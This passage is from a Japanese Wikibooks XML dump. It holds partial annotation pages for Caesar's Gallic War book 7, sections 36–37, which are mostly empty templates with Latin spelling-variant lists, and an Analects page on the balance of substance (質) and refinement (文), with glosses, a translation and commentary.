[[wikt:en:nonnullos|nōnnūllōs]], [[wikt:en:officii#Latin|officiī]], [[wikt:en:partes#Latin|partēs]], [[wikt:en:periculum#Latin|perīculum]], [[wikt:en:plures|plūrēs]], [[wikt:en:praesidii|praesidiī]], [[wikt:en:proelii|proeliī]],  [[wikt:en:proficiscentes|proficīscentēs]], [[wikt:en:resistentes#Latin|resistentēs]], [[wikt:en:singulares#Latin|singulārēs]], [[wikt:en:solacii|sōlāciī]], [[wikt:en:spatii#Latin|spatiī]], [[wikt:en:subeuntes|subeuntēs]], [[wikt:en:subfossis|subfossīs]], [[wikt:en:subministrata|subministrāta]], [[wikt:en:submissis|submissīs]], [[wikt:en:submittantur#Latin|submittantur]], [[wikt:en:submittebat|submittēbat]], [[wikt:en:submittit|submittit]], [[wikt:en:submotis|submōtīs]], [[wikt:en:submoveri|submovērī]], [[wikt:en:supplicii|suppliciī]], [[wikt:en:testes#Latin|testēs]], [[wikt:en:timentes|timentēs]], [[wikt:en:Titurii|Titūriī]], [[wikt:en:Trinovantes#Latin|Trinovantēs]], [[wikt:en:tres#Latin|trēs]], [[wikt:en:turres#Latin|turrēs]], [[wikt:en:utiles#Latin|ūtilēs]], [[wikt:en:vectigales|vectīgālēs]]  --&gt;&lt;/span&gt; などとした。


&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;color:#b00;&quot;&gt;&lt;/span&gt; 
&lt;span style=&quot;color:#800;&quot;&gt;&lt;/span&gt; 
&lt;span style=&quot;font-size:10pt;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-color:#ff0;&quot;&gt;&lt;/span&gt;

== 注解 ==
=== 1項 ===
&lt;span style=&quot;font-family:Times New Roman;font-size:20pt;&quot;&gt;&lt;/span&gt;

;語釈


&lt;span style=&quot;font-family:Times New Roman;font-size:15pt;background-color:#fff;&quot;&gt;&lt;/span&gt;

&lt;span style=&quot;font-family:Times New Roman;font-size:15pt;&quot;&gt;&lt;/span&gt;

&lt;span style=&quot;font-family:Times New Roman;font-size:15pt;&quot;&gt;&lt;/span&gt;


&lt;span style=&quot;background-color:#ccffcc;&quot;&gt;&lt;/span&gt;

&lt;!--
;対訳
《　》　内は、訳者が説明のために補った語。&lt;span style=&quot;font-family:Times New Roman;font-size:30pt;&quot;&gt;{&lt;/span&gt;　&lt;span style=&quot;font-family:Times New Roman;font-size:30pt;&quot;&gt;}&lt;/span&gt;　内は関係文。

&lt;span style=&quot;font-family:Times New Roman;font-size:15pt;&quot;&gt;&lt;/span&gt;
--&gt;

== 訳文 ==
*&lt;span style=&quot;background-color:#dff;&quot;&gt;訳文は、[[ガリア戦記_第7巻#36節]]&lt;/span&gt;

== 脚注 ==
{{Reflist}}
== 解説 ==


&lt;!--

{| class=&quot;wikitable&quot; style=&quot;text-align:center&quot;
|- style=&quot;height:23em;&quot; 
|
|
|}

--&gt;

== 関連項目 ==
*[[ガリア戦記]]
**[[ガリア戦記/注解編]]
***[[ガリア戦記 第7巻/注解]]
**[[ガリア戦記/用例集]]

== 関連記事 ==
== 外部リンク ==
* [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=264 #264 - C. Iuli Caesaris De bello gallico libri VII : Caesar's Gallic ... - Full View | HathiTrust Digital Library]
* [https://scaife.perseus.org/reader/urn:cts:latinLit:phi0448.phi001.perseus-lat2:7.36 Scaife Viewer | De Bello Gallico]
* [https://reader.humanitext.ai/en/read/urn:cts:latinLit:phi0448.phi001.humanitext-lat2:7.36.1-7.36.7 Arrival at Gergovia and Capture of the Strategic Hill — Julius Caesar, Gallic War Book 7 (7.36.1–7.36.7), Latin &amp; English · Humanitext Reader]
* [https://reader.humanitext.ai/read/urn:cts:latinLit:phi0448.phi001.humanitext-lat2:7.36.1-7.36.7 ゲルゴウィア到着と要衝の丘の占領｜『ガリア戦記』§7.36.1-7.36.7（ユリウス・カエサル）ラテン語原文・日本語訳 · Humanitext Reader]

[[Category:ガリア戦記 第7巻|36節]]</text>
      <sha1>41i7kanc9nftddq3x1s6zospah62aj0</sha1>
    </revision>
  </page>
  <page>
    <title>論語/巻第三 雍也第六/第十六</title>
    <ns>0</ns>
    <id>48973</id>
    <revision>
      <id>305232</id>
      <parentid>305188</parentid>
      <timestamp>2026-10-31T21:43:24Z</timestamp>
      <contributor>
        <username>Tomzo</username>
        <id>248</id>
      </contributor>
      <origin>305232</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="4294" sha1="hbxntdfmtc7c3z7pjglytkl0hpf37fj" xml:space="preserve">==本文==
&lt;div style=&quot;text-align: center;&quot;&gt;
  &lt;div style=&quot;display: inline-block; text-align: left;&quot;&gt;
&lt;small&gt;
{{#invoke:Kanbun|kanbun|
子曰{いはク}、\\
 　質{ノ}勝{まさレルハ}[レ]文{ニ}則{チ}野{やナリ}、\\
 　文{ノ}勝{まさレルハ}[レ]質{ニ}則{チ}史{しナリ}。\\
 　文質彬{ひん}彬{ぴんトシテ}、\\
 　然{しかル}後{二}君子{タリ}。
}}
&lt;/small&gt;
&lt;/div&gt;
&lt;/div&gt;

== 訓読文と語釈等 ==
&lt;div&gt;
{| class=&quot;wikitable&quot; style=&quot;width:100%;&quot;
|+ 
! style=&quot;width:35%;&quot; | 訓読文
! style=&quot;width:65%;&quot; | 語釈等
|-
|style=&quot;vertical-align:top&quot;|&lt;big&gt;
{{ruby|子|し}}{{ruby|曰|いは}}く、
:質&lt;ref group=&quot;†&quot;&gt;本質。人格の基底をなすもの。徳性。&lt;/ref&gt;の文&lt;ref group=&quot;†&quot;&gt;文字・文章の意味ではなく、外のかざり、磨き。知識、技能、礼儀作法、等々の意。「文」は元々「文様」に見られるように意匠・デザインを意味、文字の意味は、見た目を象った（象形文字）ことから発生した。&lt;/ref&gt;に勝れるは、則ち野&lt;ref group=&quot;†&quot;&gt;野卑・野暮・野蛮、すなわち洗練されていないこと。&lt;/ref&gt;なり。
:文の質に勝れるは、則ち史&lt;ref group=&quot;†&quot;&gt;ここでは、「吏〈『史』の上部に棒を足したもの〉」と同義で小役人の意味。「史」は「中 + 又（手）」で文書を書き留めること・書き留める人を意味し後に書き留められた文書（＝歴史）を意味するようになった。文書を書き留めるだけの役人は「史生」と呼ばれ駆け出しの役人とされた。&lt;/ref&gt;なり。
: 文質彬彬&lt;ref group=&quot;†&quot;&gt;「彬」は元々「明らかで目立つこと、見栄えがすること」の意。説文解字には「份（揃えて分ける）」の異体字とされ、「彬彬」は調和が取れている様とされる。後に、分部が調和が取れている様として「斌」が造字され前漢代に書かれた史記に用いられている（説文解字には収録されていない）。なお、『史記・孔子世家』にある成句「韋編三絶」の由来である節に「孔子晩而喜易　序彖繫象説卦文言　読易韋編三絶　曰仮我数年若是我于易則'''彬彬'''矣 」とある。&lt;/ref&gt;として、然る後に君子たり。
|style=&quot;vertical-align:top&quot;|&lt;small&gt;&lt;references group=&quot;†&quot;/&gt;&lt;/small&gt;
|}
&lt;/div&gt;

== 現代語和訳 ==
[[w:下村湖人|下村湖人]][https://www.aozora.gr.jp/cards/001097/files/43785_58836.html 『現代訳論語』（青空文庫）より]
:先師がいわれた。――
::質がよくても文がなければ一個の野人に過ぎないし、文は十分でも、質がわるければ、気のきいた事務家以上にはなれない。文と質とがしっかり一つの人格の中に溶けあった人を君子というのだ。

== 解説 ==
相手に対して、如何に誠実な思い（[[論語/巻第二 里仁第四/第十五|心底からの真心（忠恕）]]）を持っていたとしても、態度や言葉遣いに気を遣わないようであれば、それは野鄙に見えその誠実な想いは伝わらない。逆に、態度や言葉遣いに場から気を取られて相手への配慮などに思いが欠けるようであれば、それは小役人の態度であって小賢しい限りである。物事の内なる本質（'''質'''）とそれを外にアピールすること（'''文'''）はバランスが取れて初めて立派な人（君子）ということができる、と説く。

どちらかといえば、型（「文」）は習い覚えれば備えることができるので、そればかりを重視する弟子たちへの戒めと考えて良いが（[[論語/巻第六 先進第十一/第一|先進第十一/第一]]参照）、「文（その型をまとめたものが『礼』であると言ってよい）」を軽視する弟子たち（[[論語/巻第三 公冶長第五/第六|公冶長第五/第六]]、[[論語/巻第六 先進第十一/第十四|先進第十一/第十四]]参照）に対しても反省を促している。

== 関連 ==

== 脚注 ==
&lt;small&gt;&lt;references /&gt;&lt;/small&gt;
[[Category:高等学校教育_国語_漢文|ようや]]
[[category:論語|ようや16]]</text>
      <sha1>hbxntdfmtc7c3z7pjglytkl0hpf37fj</sha1>
    </revision>
  </page>
  <page>
    <title>ガリア戦記 第7巻/注解/37節</title>
    <ns>0</ns>
    <id>48980</id>
    <revision>
      <id>305248</id>
      <timestamp>2026-11-01T06:52:22Z</timestamp>
      <contributor>
        <username>Linguae</username>
        <id>449</id>
      </contributor>
      <comment>37節</comment>
      <origin>305248</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="16026" sha1="a7dfwc7178tore1sebv6yffkwq0nt3h" xml:space="preserve">&lt;div style=&quot;font-family:Arial Black;font-style:normal;font-size:15pt;color:#990033;text-align:center;&quot;&gt;C &amp;middot; IVLII &amp;middot; CAESARIS &amp;middot; COMMENTARIORVM &amp;middot; BELLI &amp;middot; GALLICI&lt;/div&gt;
&lt;div style=&quot;font-family:Arial Black;font-style:normal;font-size:30pt;color:#990033;text-align:center;&quot;&gt;LIBER &amp;middot; SEPTIMVS&lt;/div&gt;
&lt;br&gt;
{| id=&quot;toc&quot; style=&quot;align:center;clear:all;&quot; align=&quot;center&quot; cellpadding=&quot;5&quot;
|-
! style=&quot;background:#bbf; text-align:center;&quot; |&amp;nbsp; [[ガリア戦記/注解編|ガリア戦記 注解編]] &amp;nbsp;
| style=&quot;background:#ccf; text-align:center;&quot; |&amp;nbsp; [[ガリア戦記 第7巻/注解|第7巻]] &amp;nbsp;
| style=&quot;background:#eef; text-align:center;&quot;|
&amp;nbsp;[[ガリア戦記 第7巻/注解/36節|36節]] |
[[ガリア戦記 第7巻/注解/37節|37節]] |
[[ガリア戦記 第7巻/注解/38節|38節]] &amp;nbsp;
|}
__notoc__
== 原文テキスト ==
&lt;div style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;color:#333;text-align:left;&quot;&gt;&lt;ref&gt;原文テキストについては[[ガリア戦記/注解編#原文テキスト]]を参照。&lt;/ref&gt; 


&lt;/div&gt;
&lt;span style=&quot;background-color:#ffc;&quot;&gt;&lt;/span&gt;
&lt;!--❶--&gt;&lt;!--❷--&gt;&lt;!--❸--&gt;&lt;!--❹--&gt;&lt;!--❺--&gt;&lt;!--❻--&gt;&lt;!--❼--&gt;&lt;!--❽--&gt;&lt;!--❾--&gt;&lt;!--❿--&gt;&lt;!--⓫--&gt;&lt;!--⓬--&gt;&lt;sup&gt;&lt;/sup&gt; 
&lt;!--  &amp;nbsp;&lt;!--◆--&gt;&amp;nbsp;  --&gt;
----
;テキスト引用についての注記


&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;font-family:Times New Roman;font-style:bold;font-size:15pt;&quot;&gt;&lt;/span&gt;

== 整形テキスト ==
&lt;div style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;color:#333;text-align:left;&quot;&gt;&lt;ref&gt;整形テキストについては[[ガリア戦記/注解編#凡例]]を参照。&lt;/ref&gt; 


&lt;/div&gt;
&lt;span style=&quot;color:#800;&quot;&gt;&lt;/span&gt;
&lt;!--❶--&gt;&lt;!--❷--&gt;&lt;!--❸--&gt;&lt;!--❹--&gt;&lt;!--❺--&gt;&lt;!--❻--&gt;&lt;!--❼--&gt;&lt;!--❽--&gt;&lt;!--❾--&gt;&lt;!--❿--&gt;&lt;!--⓫--&gt;&lt;!--⓬--&gt;&lt;sup&gt;&lt;/sup&gt; 
&lt;!--  &amp;nbsp;&lt;!--◆--&gt;&amp;nbsp;  --&gt;
---- 
;注記
&lt;!--
*原文の &lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;[[wikt:en:acclivis#Latin|acclīvis]], [[wikt:en:accommodatae|accommodātae]], [[wikt:en:allatis|allātīs]], [[wikt:en:Aduatuca#Latin|Aduātucam]], [[wikt:en:Aduatuci|Aduatucī]], [[wikt:en:Aduatucis|Aduatucīs]], [[wikt:en:Aduatucos|Aduatucōs]], [[wikt:en:Aeduae|Aeduae]], [[wikt:en:Aedui#Latin|Aeduī]], [[wikt:en:Aeduis|Aeduīs]], [[wikt:en:Aeduorum|Aeduōrum]], [[wikt:en:Aeduos|Aeduōs]], [[wikt:en:Aeduus#Latin|Aeduus]], [[wikt:en:aequinocti|aequinoctī]], [[wikt:en:affecti|affectī]], [[wikt:en:affectus#Participle|affectus]], [[wikt:en:afferat|afferat]], [[wikt:en:afferebat|afferēbat]], [[wikt:en:afferret|afferret]], [[wikt:en:afferretur|afferrētur]], [[wikt:en:afflictae|afflīctae]], [[wikt:en:affligunt|afflīgunt]], [[wikt:en:aggregabat|aggregābat]], [[wikt:en:aggregaverant|aggregāverant]] ([[wikt:en:aggregarant|aggregārant]]), [[wikt:en:allato|allātō]], [[wikt:en:alliciebat#Latin|alliciēbat]], [[wikt:en:Alpis#Latin|Alpīs]], [[wikt:en:appelluntur|appelluntur]], [[wikt:en:appetebat|appetēbat]], [[wikt:en:apportari|apportārī]], [[wikt:en:applicant#Latin|applicant]], [[wikt:en:approbant#Latin|approbant]], [[wikt:en:appropinquabat|appropinquābat]], [[wikt:en:appropinquare#Latin|appropinquāre]], [[wikt:en:appropinquarent|appropinquārent]], [[wikt:en:appropinquassent|appropinquāssent]], [[wikt:en:appropinquaverunt|appropinquāvērunt]] ([[wikt:en:appropinquarunt|appropinquārunt]]), [[wikt:en:appropinquavit|appropinquāvit]], [[wikt:en:appulso#Latin|appulsō]], [[wikt:en:arripere|arripere]], [[wikt:en:articlis|articlīs]], [[wikt:en:ascendissent#Latin|ascendissent]], [[wikt:en:ascensu#Noun|ascēnsū]], [[wikt:en:assidua#Latin|assiduā]], [[wikt:en:assiduis#Latin|assiduīs]], [[wikt:en:assuefacti|assuēfactī]], [[wikt:en:assuescere#Latin|assuēscere]], [[wikt:en:attingit|attingit]], [[wikt:en:attingunt|attingunt]], [[wikt:en:attribuerat#Latin|attribuerat]], [[wikt:en:attribuit|attribuit]], [[wikt:en:attribuunt|attribuunt]], [[wikt:en:auris#Latin|aurīs]], [[wikt:en:auxili#Latin|auxilī]], [[wikt:en:cedentis|cēdentīs]], [[wikt:en:civis#Latin|cīvīs]], [[wikt:en:clientis|clientīs]], [[wikt:en:cohortis|cohortīs]], [[wikt:en:coicere|coicere]], [[wikt:en:coicerent|coicerent]], [[wikt:en:coici|coicī]], [[wikt:en:coiciant|coiciant]], [[wikt:en:coiciebant|coiciēbant]], [[wikt:en:coiciunt|coiciunt]], [[wikt:en:coiecerant|coiēcerant]], [[wikt:en:coiecerunt|coiēcērunt]], [[wikt:en:coiecisse|coiēcisse]], [[wikt:en:coiecta|coiecta]], [[wikt:en:coiecti|coiectī]], [[wikt:en:coiectis|coiectīs]], [[wikt:en:collatis|collātīs]], [[wikt:en:collaudantur|collaudantur]], [[wikt:en:collaudat|collaudat]],  [[wikt:en:collaudatis#Participle|collaudātīs]], [[wikt:en:collis#Latin|collīs]], [[wikt:en:collocabant|collocābant]], [[wikt:en:collocabat|collocābat]], [[wikt:en:collocandis|collocandīs]], [[wikt:en:collocant#Latin|collocant]], [[wikt:en:collocantur#Latin|collocantur]], [[wikt:en:collocarat|collocārat]], [[wikt:en:collocare#Latin|collocāre]], [[wikt:en:collocaret|collocāret]], [[wikt:en:collocari|collocārī]], [[wikt:en:collocatas|collocātās]], [[wikt:en:collocati#Latin|collocātī]], [[wikt:en:collocatis#Participle|collocātīs]], [[wikt:en:collocaverat#Latin|collocāverat]], [[wikt:en:collocavit|collocāvit]], [[wikt:en:collocuti|collocūtī]], [[wikt:en:colloquantur|colloquantur]], [[wikt:en:colloquendi|colloquendī]], [[wikt:en:colloqui#Latin|colloquī]], [[wikt:en:colloquium#Latin|colloquium]], [[wikt:en:communis#Latin|commūnīs]], [[wikt:en:compluribus|complūribus]], [[wikt:en:compluris|complūrīs]], [[wikt:en:comprehensis|comprehēnsīs]], [[wikt:en:comprehensos|comprehēnsōs]], [[wikt:en:conantis|cōnantīs]], [[wikt:en:consili|cōnsilī]], [[wikt:en:directus#Latin|dīrēctus]], [[wikt:en:dubitantis#Participle_2|dubitantīs]], [[wikt:en:effarciuntur#Latin|effarciuntur]], [[wikt:en:egredientis#Etymology_2|ēgredientīs]], [[wikt:en:ei#Latin|eī]], [[wikt:en:eis#Latin|eīs]], [[wikt:en:existit#Latin|existit]], [[wikt:en:expectent#Latin|expectent]], [[wikt:en:exposcentis#Participle_2|exposcentīs]], [[wikt:en:exstruxerunt#Latin|exstruxerunt]], [[wikt:en:ferventis#Latin|ferventīs]], [[wikt:en:finis#Latin|fīnīs]], [[wikt:en:glandis#Latin|glandīs]], [[wikt:en:haesitantis#Participle_2|haesitantīs]], [[wikt:en:hostis#Latin|hostīs]], [[wikt:en:ignis#Latin|ignīs]], [[wikt:en:illatas|illātās]], [[wikt:en:illustrem#Latin:_adjective|illūstrem]], [[wikt:en:immittit|immittit]], [[wikt:en:immittunt|immittunt]], [[wikt:en:imparatum|imparātum]], [[wikt:en:impedita#Latin|impedīta]], [[wikt:en:imperi#Latin|imperī]], [[wikt:en:imprudentia#Noun|imprūdentia]], [[wikt:en:incolumis#Latin|incolumīs]], [[wikt:en:indignantis#Participle_2|indignantīs]], [[wikt:en:inopinantis#Adjective_2|inopīnantīs]], [[wikt:en:irridere#Latin|irrīdēre]], [[wikt:en:irrumpere|irrumpere]], [[wikt:en:irrumpit|irrumpit]], [[wikt:en:irruperunt|irrūpērunt]], [[wikt:en:laborantis#Etymology_2|labōrantīs]], [[wikt:en:montis|montīs]], [[wikt:en:natalis#Latin|nātālīs]], [[wikt:en:navis#Latin|nāvīs]], [[wikt:en:negoti|negōtī]], nōn nūllae, nōn nūllōs, [[wikt:en:offici#Noun_2|officī]], [[wikt:en:omnis#Latin|omnīs]], [[wikt:en:partis#Latin|partīs]], [[wikt:en:periclum#Latin|perīclum]], plūrīs, [[wikt:en:praesidi|praesidī]], [[wikt:en:proeli|proelī]], proficīscentīs, [[wikt:en:resistentis|resistentīs]], [[wikt:en:singularis#Latin|singulārīs]], [[wikt:en:solaci|sōlācī]], [[wikt:en:spati#Latin|spatī]], [[wikt:en:subeuntis|subeuntīs]], [[wikt:en:suffossis|suffossīs]], [[wikt:en:sumministrata|sumministrāta]], [[wikt:en:summissis|summissīs]], [[wikt:en:summittantur#Latin|summittantur]], [[wikt:en:summittebat|summittēbat]], [[wikt:en:summittit|summittit]], [[wikt:en:summotis|summōtīs]], [[wikt:en:summoveri|summovērī]], [[wikt:en:supplici#Noun|supplicī]], [[wikt:en:testis#Latin|testīs]], [[wikt:en:timentis#Participle_2|timentīs]], [[wikt:en:Tituri|Titūrī]], [[wikt:en:Trinobantes#Latin|Trinobantēs]], trīs, [[wikt:en:turris#Latin|turrīs]], [[wikt:en:utilis#Latin|ūtilīs]], [[wikt:en:vectigalis#Latin|vectīgālīs]]  &lt;/span&gt; などは、&lt;br&gt;それぞれ &lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;[[wikt:en:adclivis#Latin|adclīvis]], [[wikt:en:adcommodatae|adcommodātae]], [[wikt:en:adlatis|adlātīs]], Atuātucam, [[wikt:de:Atuatuci|Atuatucī]], Atuatucīs, Atuatucōs, Haeduae, [[wikt:en:Haedui|Haeduī]], [[wikt:en:Haeduis|Haeduīs]], [[wikt:en:Haeduorum|Haeduōrum]], [[wikt:en:Haeduos|Haeduōs]], Haeduus, [[wikt:en:aequinoctii|aequinoctiī]], [[wikt:en:adfecti|adfectī]], [[wikt:en:adfectus#Adjective|adfectus]], [[wikt:en:adferat|adferat]], [[wikt:en:adferebat|adferēbat]], [[wikt:en:adferret|adferret]], [[wikt:en:adferretur|adferrētur]], [[wikt:en:adflictae|adflīctae]], [[wikt:en:adfligunt|adflīgunt]], [[wikt:en:adgregabat|adgregābat]], [[wikt:en:adgregaverant|adgregāverant]] ([[wikt:en:adgregarant|adgregārant]]), [[wikt:en:adlato|adlātō]], [[wikt:en:adliciebat#Latin|adliciēbat]], [[wikt:en:Alpes#Latin|Alpēs]], [[wikt:en:adpelluntur|adpelluntur]], [[wikt:en:adpetebat|adpetēbat]], [[wikt:en:adportari|adportārī]], [[wikt:en:adplicant|adplicant]], [[wikt:en:adprobant#Latin|adprobant]], [[wikt:en:adpropinquabat|adpropinquābat]], [[wikt:en:adpropinquare|adpropinquāre]], [[wikt:en:adpropinquarent|adpropinquārent]], [[wikt:en:adpropinquassent|adpropinquāssent]], [[wikt:en:adpropinquaverunt|adpropinquāvērunt]] ([[wikt:en:adpropinquarunt|adpropinquārunt]]), [[wikt:en:adpropinquavit|adpropinquāvit]], [[wikt:en:adpulso|adpulsō]], [[wikt:en:adripere|adripere]], [[wikt:en:articulis|articulīs]], [[wikt:en:adscendissent|adscendissent]], [[wikt:en:adscensu#Noun|adscēnsū]], [[wikt:en:adsidua|adsiduā]], [[wikt:en:adsiduis#Latin|adsiduīs]], [[wikt:en:adsuefacti|adsuēfactī]], [[wikt:en:adsuescere#Latin|adsuēscere]], [[wikt:en:adtingit|adtingit]], [[wikt:en:adtingunt|adtingunt]], [[wikt:en:adtribuerat#Latin|adtribuerat]], [[wikt:en:adtribuit|adtribuit]], [[wikt:en:adtribuunt|adtribuunt]], [[wikt:en:aures#Noun|aurēs]], [[wikt:en:auxilii|auxiliī]], [[wikt:en:cedentes#Latin|cēdentēs]], [[wikt:en:cives#Latin|cīvēs]], [[wikt:en:clientes#Latin|clientēs]], [[wikt:en:cohortes#Latin|cohortēs]], [[wikt:en:conicere|conicere]], [[wikt:en:conicerent|conicerent]], [[wikt:en:conici#Latin|conicī]], [[wikt:en:coniciant|coniciant]], [[wikt:en:coniciebant|coniciēbant]], [[wikt:en:coniciunt|coniciunt]], [[wikt:en:coniecerant|coniēcerant]], [[wikt:en:coniecerunt|coniēcērunt]], [[wikt:en:coniecisse|coniēcisse]], [[wikt:en:coniecta|coniecta]], [[wikt:en:coniecti|coniectī]], [[wikt:en:coniectis|coniectīs]], [[wikt:en:conlatis|conlātīs]], [[wikt:en:conlaudantur|conlaudantur]], [[wikt:en:conlaudat|conlaudat]], [[wikt:en:conlaudatis#Participle|conlaudātīs]], [[wikt:en:colles#Latin|collēs]], [[wikt:en:conlocabant|conlocābant]], [[wikt:en:conlocabat|conlocābat]], [[wikt:en:conlocandis|conlocandīs]], [[wikt:en:conlocant|conlocant]], [[wikt:en:conlocantur#Latin|conlocantur]], [[wikt:en:conlocarat|conlocārat]], [[wikt:en:conlocare|conlocāre]], [[wikt:en:conlocaret|conlocāret]], [[wikt:en:conlocari|conlocārī]], [[wikt:en:conlocatas|conlocātās]], [[wikt:en:conlocati|conlocātī]], [[wikt:en:conlocatis#Participle|conlocātīs]], [[wikt:en:conlocaverat#Latin|conlocāverat]], [[wikt:en:conlocavit|conlocāvit]], [[wikt:en:conlocuti|conlocūtī]], [[wikt:en:conloquantur|conloquantur]], [[wikt:en:conloquendi|conloquendī]], [[wikt:en:conloqui#Latin|conloquī]], [[wikt:en:conloquium#Latin|conloquium]], [[wikt:en:communes#Latin|commūnēs]], [[wikt:en:conpluribus|conplūribus]], [[wikt:en:complures#Latin|complūrēs]], [[wikt:en:conprehensis|conprehēnsīs]], [[wikt:en:conprehensos|conprehēnsōs]], [[wikt:en:conantes|cōnantēs]], [[wikt:en:consilii|cōnsiliī]], [[wikt:en:derectus#Latin|dērēctus]], [[wikt:en:dubitantes|dubitantēs]], [[wikt:en:efferciuntur#Latin|efferciuntur]], [[wikt:en:egredientes|ēgredientēs]], [[wikt:en:ii#Latin|iī]], [[wikt:en:iis#Latin|iīs]], [[wikt:en:exsistit|exsistit]], [[wikt:en:exspectent#Latin|exspectent]], [[wikt:en:exposcentes#Latin|exposcentēs]], [[wikt:en:extruxerunt#Latin|extruxerunt]], [[wikt:en:ferventes#Latin|ferventēs]], [[wikt:en:fines#Latin|fīnēs]], [[wikt:en:glandes#Latin|glandēs]], [[wikt:en:haesitantes#Latin|haesitantēs]], [[wikt:en:hostes#Latin|hostēs]], [[wikt:en:ignes|ignēs]], [[wikt:en:inlatas|inlātās]], [[wikt:en:inlustrem#Latin:_adjective|inlūstrem]], [[wikt:en:inmittit|inmittit]], [[wikt:en:inmittunt|inmittunt]], [[wikt:en:inparatum|inparātum]], [[wikt:en:inpedita#Latin|inpedīta]], [[wikt:en:imperii#Latin|imperiī]], [[wikt:en:inprudentia#Noun|inprūdentia]], [[wikt:en:incolumes|incolumēs]], [[wikt:en:indignantes#Latin|indignantēs]], [[wikt:en:inopinantes|inopīnantēs]], [[wikt:en:inridere|inrīdēre]], [[wikt:en:inrumpere|inrumpere]], [[wikt:en:inrumpit|inrumpit]], [[wikt:en:inruperunt|inrūpērunt]], [[wikt:en:laborantes#Latin|labōrantēs]], [[wikt:en:montes#Latin|montēs]], [[wikt:en:natales#Latin|nātālēs]], [[wikt:en:naves#Latin|nāvēs]], [[wikt:en:negotii|negōtiī]], [[wikt:en:nonnullae|nōnnūllae]], [[wikt:en:nonnullos|nōnnūllōs]], [[wikt:en:officii#Latin|officiī]], [[wikt:en:omnes#Latin|omnēs]], [[wikt:en:partes#Latin|partēs]], [[wikt:en:periculum#Latin|perīculum]], [[wikt:en:plures|plūrēs]], [[wikt:en:praesidii|praesidiī]], [[wikt:en:proelii|proeliī]],  [[wikt:en:proficiscentes|proficīscentēs]], [[wikt:en:resistentes#Latin|resistentēs]], [[wikt:en:singulares#Latin|singulārēs]], [[wikt:en:solacii|sōlāciī]], [[wikt:en:spatii#Latin|spatiī]], [[wikt:en:subeuntes|subeuntēs]], [[wikt:en:subfossis|subfossīs]], [[wikt:en:subministrata|subministrāta]], [[wikt:en:submissis|submissīs]], [[wikt:en:submittantur#Latin|submittantur]], [[wikt:en:submittebat|submittēbat]], [[wikt:en:submittit|submittit]], [[wikt:en:submotis|submōtīs]], [[wikt:en:submoveri|submovērī]], [[wikt:en:supplicii|suppliciī]], [[wikt:en:testes#Latin|testēs]], [[wikt:en:timentes|timentēs]], [[wikt:en:Titurii|Titūriī]], [[wikt:en:Trinovantes#Latin|Trinovantēs]], [[wikt:en:tres#Latin|trēs]], [[wikt:en:turres#Latin|turrēs]], [[wikt:en:utiles#Latin|ūtilēs]], [[wikt:en:vectigales|vectīgālēs]]  &lt;/span&gt; などとした。
--&gt;


&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;color:#b00;&quot;&gt;&lt;/span&gt; 
&lt;span style=&quot;color:#800;&quot;&gt;&lt;/span&gt; 
&lt;span style=&quot;font-size:10pt;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-color:#ff0;&quot;&gt;&lt;/span&gt;

== 注解 ==
=== 1項 ===
&lt;span style=&quot;font-family:Times New Roman;font-size:20pt;&quot;&gt;&lt;/span&gt;

;語釈


&lt;span style=&quot;font-family:Times New Roman;font-size:15pt;background-color:#fff;&quot;&gt;&lt;/span&gt;

&lt;span style=&quot;font-family:Times New Roman;font-size:15pt;&quot;&gt;&lt;/span&gt;

&lt;span style=&quot;font-family:Times New Roman;font-size:15pt;&quot;&gt;&lt;/span&gt;


&lt;span style=&quot;background-color:#ccffcc;&quot;&gt;&lt;/span&gt;

&lt;!--
;対訳
《　》　内は、訳者が説明のために補った語。&lt;span style=&quot;font-family:Times New Roman;font-size:30pt;&quot;&gt;{&lt;/span&gt;　&lt;span style=&quot;font-family:Times New Roman;font-size:30pt;&quot;&gt;}&lt;/span&gt;　内は関係文。

&lt;span style=&quot;font-family:Times New Roman;font-size:15pt;&quot;&gt;&lt;/span&gt;
--&gt;

== 訳文 ==
*&lt;span style=&quot;background-color:#dff;&quot;&gt;訳文は、[[ガリア戦記_第7巻#37節]]&lt;/span&gt;

== 脚注 ==
{{Reflist}}
== 解説 ==


&lt;!--

{| class=&quot;wikitable&quot; style=&quot;text-align:center&quot;
|- style=&quot;height:23em;&quot; 
|
|
|}

--&gt;

== 関連項目 ==
*[[ガリア戦記]]
**[[ガリア戦記/注解編]]
***[[ガリア戦記 第7巻/注解]]
**[[ガリア戦記/用例集]]

== 関連記事 ==
== 外部リンク ==


[[Category:ガリア戦記 第7巻|37節]]</text>
      <sha1>a7dfwc7178tore1sebv6yffkwq0nt3h</sha1>
    </revision>
    <revision>
      <id>305272</id>
      <parentid>305248</parentid>
      <timestamp>2026-11-01T10:36:41Z</timestamp>
      <contributor>
        <username>Linguae</username>
        <id>449</id>
      </contributor>
      <minor />
      <comment>/* 整形テキスト */ 修整</comment>
      <origin>305272</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="16110" sha1="0stfjoixc50rbhixjl7t8q60u7n2lq4" xml:space="preserve">&lt;div style=&quot;font-family:Arial Black;font-style:normal;font-size:15pt;color:#990033;text-align:center;&quot;&gt;C &amp;middot; IVLII &amp;middot; CAESARIS &amp;middot; COMMENTARIORVM &amp;middot; BELLI &amp;middot; GALLICI&lt;/div&gt;
